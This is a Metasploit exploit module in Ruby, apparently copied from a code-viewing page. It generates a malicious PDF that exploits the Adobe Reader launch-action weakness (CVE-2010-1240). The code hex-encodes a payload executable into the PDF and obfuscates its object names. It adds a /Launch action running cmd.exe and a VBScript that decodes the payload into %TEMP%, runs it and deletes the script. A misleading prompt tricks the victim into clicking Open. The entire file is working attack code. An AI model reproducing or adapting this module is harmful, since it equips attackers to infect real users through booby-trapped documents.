|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173  |  ## # $Id: adobe_pdf_embedded_exe_nojs.rb 11353 2010-12-16 20:11:01Z egypt $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## # # Modified version of the Adobe PDF Embedded EXE Social Engineering "adobe_pdf_embedded_exe.rb". # This version does not require JavaScript to be enabled and does not required the EXE to be # attached to the PDF.The EXE is embedded in the PDF in a non-standard method using HEX # encoding. # # Lots of reused code from adobe_pdf_embedded_exe.rb and the other PDF modules to make the PDF. # Thanks to all those that wrote the code for those modules, as I probably could not have # wrote this module without borrowing code from them. # require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::FILEFORMAT  include Msf::Exploit::EXE  def initialize(info = {})  super(update_info(info,  'Name' => 'Adobe PDF Escape EXE Social Engineering (No JavaScript)',  'Description' => %q{  This module embeds a Metasploit payload into an existing PDF file in  a non-standard method. The resulting PDF can be sent to a target as  part of a social engineering attack.  },  'License' => MSF_LICENSE,  'Author' =>  [  'Jeremy Conway <jeremy[at]sudosecure.net>',  ],  'Version'=> '$Revision: 11353 $',  'References' =>  [  [ 'CVE', '2010-1240' ],  [ 'OSVDB', '63667' ],  [ 'URL', 'http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/' ],  [ 'URL', 'http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/' ],  [ 'URL', 'http://blog.didierstevens.com/2010/03/29/escape-from-pdf/' ]  ],  'Payload' =>  {  'Space' => 2048,  'DisableNops' => true,  'StackAdjustment' => -3500,  },  'Platform' => 'win',  'Targets' =>  [  [ 'Adobe Reader <= v9.3.3 (Windows XP SP3 English)', { 'Ret' => '' } ]  ],  'DefaultTarget' => 0))  register_options(  [  OptString.new('EXENAME', [ false, 'The Name of payload exe.', 'msf.exe']),  OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']),  OptString.new('LAUNCH_MESSAGE', [ false, 'The message to display in the File: area',  "To view the encrypted content please tick the \"Do not show this message again\" box and press Open."]),  ], self.class)  end  def exploit  # Create the pdf  print_status("Making PDF")  pdf = make_pdf()  print_status("Creating '#{datastore['FILENAME']}' file...")  file_create(pdf)  end  def pdf_exe(payload_exe)  if !(payload_exe and payload_exe.length > 0)  print_status("Using '#{datastore['PAYLOAD']}' as payload...")  payload_exe = generate_payload_exe  hex_payload = Rex::Text.to_hex(payload_exe)  else  print_status("Using '#{datastore['EXENAME']}' as payload...")  hex_payload = Rex::Text.to_hex_dump(payload_exe,16)  end  return hex_payload  end  def ioDef(id)  "%d 0 obj" % id  end  def ioRef(id)  "%d 0 R" % id  end  #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/  def nObfu(str)  result = ""  str.scan(/./u) do |c|  if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'  result << "#%x" % c.unpack("C*")[0]  else  result << c  end  end  result  end  def ASCIIHexWhitespaceEncode(str)  result = ""  whitespace = ""  str.each_byte do |b|  result << whitespace << "%02x" % b  whitespace = " " * (rand(3) + 1)  end  result << ">"  end  def make_pdf()  file_name = datastore['FILENAME']  exe_name = datastore['EXENAME']  launch_msg = datastore['LAUNCH_MESSAGE']  xref = []  eol = "\x0d\x0a"  endobj = "endobj" << eol  pdf = "%PDF-1.5" << eol  payload_exe = generate_payload_exe  hex_payload = Rex::Text.to_hex(payload_exe)  pdf << hex_payload << eol  pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj  xref << pdf.length  pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj  xref << pdf.length  pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj  xref << pdf.length  pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj  xref << pdf.length  pdf << ioDef(5) << nObfu("<</Type/Action/S/Launch/Win ") << "<< "  pdf << "/F (cmd.exe) /P (/C echo Set o=CreateObject^(\"Scripting.FileSystemObject\"^):Set f=o.OpenTextFile^(\"#{file_name}\",1,True^):"  pdf << "f.SkipLine:Set w=CreateObject^(\"WScript.Shell\"^):Set g=o.OpenTextFile^(w.ExpandEnvironmentStrings^(\"%TEMP%\"^)+\"\\\\#{exe_name}\",2,True^):a=Split^(Trim^(Replace^(f.ReadLine,\"\\\\x\",\" \"^)^)^):"  pdf << "for each x in a:g.Write^(Chr^(\"&h\" ^& x^)^):next:g.Close:f.Close > 1.vbs && cscript //B 1.vbs && start %TEMP%\\\\#{exe_name} && del /F 1.vbs"  pdf << eol << eol << eol << "#{launch_msg})"  pdf << ">>>>" << endobj  xref << pdf.length  xrefPosition = pdf.length  pdf << "xref" << eol  pdf << "0 %d" % (xref.length + 1) << eol  pdf << "0000000000 65535 f" << eol  xref.each do |index|  pdf << "%010d 00000 n" % index << eol  end  pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol  pdf << "startxref" << eol  pdf << xrefPosition.to_s() << eol  pdf << "%%EOF" << eol  end end  |